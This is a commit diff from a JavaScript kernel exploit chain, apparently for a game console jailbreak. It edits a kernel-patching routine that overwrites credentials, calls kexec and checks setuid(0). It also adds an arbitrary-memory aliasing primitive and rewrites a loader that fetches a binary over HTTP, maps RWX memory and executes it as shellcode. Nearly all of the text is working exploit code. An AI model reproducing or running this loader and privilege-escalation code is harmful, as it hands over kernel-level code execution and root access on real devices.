Make requested changes to payload loader
- Added comments to explain it
This commit is contained in:
@@ -1541,7 +1541,7 @@ async function patch_kernel(kbase, kmem, p_ucred, restore_info) {
|
|||||||
kmem.write64(p_ucred.add(0x68), -1); // 0xffffffffffffffff
|
kmem.write64(p_ucred.add(0x68), -1); // 0xffffffffffffffff
|
||||||
|
|
||||||
const buf = await get_binary(patch_elf_loc);
|
const buf = await get_binary(patch_elf_loc);
|
||||||
const patches = new View1(await buf);
|
const patches = new View1(buf);
|
||||||
let map_size = patches.size;
|
let map_size = patches.size;
|
||||||
const max_size = 0x10000000;
|
const max_size = 0x10000000;
|
||||||
if (map_size > max_size) {
|
if (map_size > max_size) {
|
||||||
@@ -1597,14 +1597,6 @@ async function patch_kernel(kbase, kmem, p_ucred, restore_info) {
|
|||||||
log("execute kpatch...")
|
log("execute kpatch...")
|
||||||
mem.cpy(write_addr, patches.addr, patches.size);
|
mem.cpy(write_addr, patches.addr, patches.size);
|
||||||
sys_void("kexec", exec_addr, ...restore_info);
|
sys_void("kexec", exec_addr, ...restore_info);
|
||||||
|
|
||||||
log("munlock save data used in kernel restore");
|
|
||||||
sysi("munlock", restore_info[1], page_size);
|
|
||||||
sysi("munlock", restore_info[4], page_size);
|
|
||||||
|
|
||||||
log("setuid(0)");
|
|
||||||
sysi("setuid", 0);
|
|
||||||
log("kernel exploit succeeded!");
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// FUNCTIONS FOR STAGE: SETUP
|
// FUNCTIONS FOR STAGE: SETUP
|
||||||
@@ -1731,12 +1723,15 @@ export async function kexploit() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Check if it all worked
|
// Check if it all worked
|
||||||
|
log("setuid(0)");
|
||||||
try {
|
try {
|
||||||
if (sysi("setuid", 0) == 0) {
|
if (sysi("setuid", 0) == 0) {
|
||||||
|
log("kernel exploit succeeded!");
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
} catch {
|
} catch {
|
||||||
// Still not exploited, something failed, but it made it here...
|
// Still not exploited, something failed, but it made it here...
|
||||||
|
die("kernel exploit failed!");
|
||||||
}
|
}
|
||||||
|
|
||||||
return false;
|
return false;
|
||||||
@@ -1760,6 +1755,17 @@ function malloc32(sz) {
|
|||||||
return ptr;
|
return ptr;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ChendoChap's from pOOBs4
|
||||||
|
function array_from_address(addr, size) {
|
||||||
|
const og_array = new Uint32Array(0x1000);
|
||||||
|
const og_array_i = mem.addrof(og_array).add(0x10);
|
||||||
|
mem.write64(og_array_i, addr);
|
||||||
|
mem.write32(og_array_i.add(0x8), size);
|
||||||
|
mem.write32(og_array_i.add(0xC), 0x1);
|
||||||
|
nogc.push(og_array);
|
||||||
|
return og_array;
|
||||||
|
}
|
||||||
|
|
||||||
// ChendoChap's from pOOBs4
|
// ChendoChap's from pOOBs4
|
||||||
function runBinLoader() {
|
function runBinLoader() {
|
||||||
const payload_buffer = chain.sysp("mmap", 0x0, 0x300000, 0x7, 0x1000, 0xffffffff, 0);
|
const payload_buffer = chain.sysp("mmap", 0x0, 0x300000, 0x7, 0x1000, 0xffffffff, 0);
|
||||||
@@ -1839,34 +1845,52 @@ function runBinLoader() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
function runPayload(path) {
|
function runPayload(path) {
|
||||||
|
// Why xhr instead of fetch? More universal support, more control, better errors, etc.
|
||||||
log(`loading ${path}`);
|
log(`loading ${path}`);
|
||||||
const xhr = new XMLHttpRequest();
|
const xhr = new XMLHttpRequest();
|
||||||
xhr.open("GET", path);
|
xhr.open("GET", path);
|
||||||
xhr.responseType = "arraybuffer";
|
xhr.responseType = "arraybuffer";
|
||||||
xhr.onreadystatechange = function () {
|
xhr.onreadystatechange = function () {
|
||||||
|
// When request is "DONE"
|
||||||
if (xhr.readyState === 4) {
|
if (xhr.readyState === 4) {
|
||||||
|
// If response code is "OK"
|
||||||
if (xhr.status === 200) {
|
if (xhr.status === 200) {
|
||||||
try {
|
try {
|
||||||
const payload_buffer = chain.sysp("mmap", 0x0, 0x300000, 0x7, 0x41000, 0xffffffff, 0);
|
// Allocate a buffer with length rounded up to the next multiple of 4 bytes for Uint32 alignment
|
||||||
|
const padding_length = (4 - (xhr.response.byteLength % 4)) % 4;
|
||||||
|
const padded_buffer = new Uint8Array(xhr.response.byteLength + padding_length);
|
||||||
|
|
||||||
|
// Load xhr response data into the payload buffer and pad the rest with zeros
|
||||||
|
padded_buffer.set(new Uint8Array(xhr.response), 0);
|
||||||
|
if (padding_length) {
|
||||||
|
padded_buffer.set(new Uint8Array(padding_length), xhr.response.byteLength);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Convert padded_buffer to Uint32Array. That's what `array_from_address()` expects
|
||||||
|
const shellcode = new Uint32Array(padded_buffer.buffer);
|
||||||
|
|
||||||
|
// Map memory with RWX permissions to load the payload into
|
||||||
|
const payload_buffer = chain.sysp('mmap', 0x0, padded_buffer.length, PROT_READ | PROT_WRITE | PROT_EXEC, 0x41000, 0xffffffff, 0);
|
||||||
log(`payload buffer allocated at ${payload_buffer}`);
|
log(`payload buffer allocated at ${payload_buffer}`);
|
||||||
|
|
||||||
// Trick for 4 bytes padding
|
// Create an JS array that "shadows" the mapped location
|
||||||
const padding = new Uint8Array(4 - ((xhr.response.byteLength % 4) % 4));
|
const payload_buffer_shadow = array_from_address(payload_buffer, shellcode.length);
|
||||||
const tmp = new Uint8Array(xhr.response.byteLength + padding.byteLength);
|
|
||||||
tmp.set(new Uint8Array(xhr.response), 0);
|
|
||||||
tmp.set(padding, xhr.response.byteLength);
|
|
||||||
|
|
||||||
const shellcode = new Uint32Array(tmp.buffer);
|
// Move the shellcode to the array created in the previous step
|
||||||
for (let i = 0; i < shellcode.length; i++) {
|
payload_buffer_shadow.set(shellcode);
|
||||||
mem.write32(payload_buffer.add(0x100000 + i * 4), shellcode[i]);
|
log(`loaded ${xhr.response.byteLength} bytes for payload (+ ${padding_length} bytes padding)`);
|
||||||
}
|
|
||||||
log(`loaded ${xhr.response.byteLength} bytes for payload (+ ${padding.length} bytes padding)`);
|
// Call the payload
|
||||||
chain.call_void(payload_buffer);
|
chain.call_void(payload_buffer);
|
||||||
sysi("munmap", payload_buffer, 0x300000);
|
|
||||||
|
// Unmap the memory used for the payload
|
||||||
|
sysi("munmap", payload_buffer, padded_buffer.length);
|
||||||
} catch (e) {
|
} catch (e) {
|
||||||
|
// Caught error while trying to execute payload
|
||||||
log(`error in runPayload: ${e.message}`);
|
log(`error in runPayload: ${e.message}`);
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
|
// Some other HTTP response code (eg. 404)
|
||||||
log(`error retrieving payload, ${xhr.status}`);
|
log(`error retrieving payload, ${xhr.status}`);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user